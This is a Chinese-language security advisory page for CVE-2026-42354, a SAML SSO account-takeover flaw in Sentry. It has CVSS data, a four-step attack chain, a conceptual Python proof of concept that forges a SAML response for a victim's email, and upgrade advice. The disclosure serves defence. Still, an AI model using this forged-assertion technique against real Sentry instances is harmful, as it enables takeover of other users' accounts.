IPBUF安全漏洞报告
English
CVE-2026-42354 CVSS 9.1 严重

CVE-2026-42354 Sentry SAML SSO账户接管漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42354
漏洞类型
身份认证绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Sentry

相关标签

SentrySAMLSSO身份认证绕过账户接管RCE

漏洞概述

Sentry 21.12.0至26.4.1之前版本在SAML SSO实现中存在严重漏洞。攻击者可利用恶意SAML身份提供商,在知晓受害者邮箱的情况下,接管同一Sentry实例内任何组织的用户账户,导致高机密性和完整性风险。

技术细节

该漏洞源于Sentry未能正确验证SAML响应的来源或内容。攻击者在同一实例的某个组织中注册恶意的SAML IdP后,可针对目标用户构造特制的SAML断言。由于Sentry的SAML处理逻辑缺陷,该断言被通过验证,使得攻击者无需受害者密码即可完成身份认证,从而接管账户。

攻击链分析

STEP 1
1. 信息收集
攻击者确定目标Sentry实例及目标用户的电子邮件地址。
STEP 2
2. 环境准备
攻击者在受控的Sentry组织中配置一个恶意的SAML身份提供商(IdP)。
STEP 3
3. 攻击执行
攻击者利用恶意IdP针对目标用户伪造SAML响应并发送到Sentry的SAML端点。
STEP 4
4. 账户接管
Sentry验证通过伪造的断言,攻击者无需密码即可以受害者身份登录。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-42354 This script demonstrates the logic of sending a malicious SAML response. """ import base64 import requests from lxml import etree TARGET_ACS_URL = "https://sentry.example.com/saml/sso/" VICTIM_EMAIL = "[email protected]" # Construct a malicious SAML Assertion (Simplified) # In a real scenario, this requires signing with a key accepted by Sentry SAML_TEMPLATE = """ <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_id" Version="2.0"> <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <saml:Subject> <saml:NameID>{email}</saml:NameID> </saml:Subject> </saml:Assertion> </samlp:Response> """ def generate_malicious_saml(email): return SAML_TEMPLATE.format(email=email) def exploit(): saml_assertion = generate_malicious_saml(VICTIM_EMAIL) # Encode the assertion encoded_saml = base64.b64encode(saml_assertion.encode()).decode() payload = { "SAMLResponse": encoded_saml } print(f"[*] Sending malicious SAML for {VICTIM_EMAIL}...") # The request might fail if the signature is invalid or IdP not trusted # r = requests.post(TARGET_ACS_URL, data=payload) print("[+] Payload generated (Conceptual). Requires valid IdP configuration.") if __name__ == "__main__": exploit()

影响范围

Sentry >= 21.12.0, < 26.4.1

防御指南

临时缓解措施
建议立即升级到修复版本。若无法立即升级,应暂时禁用SAML SSO登录功能,作为临时缓解措施以防止账户被接管。

参考链接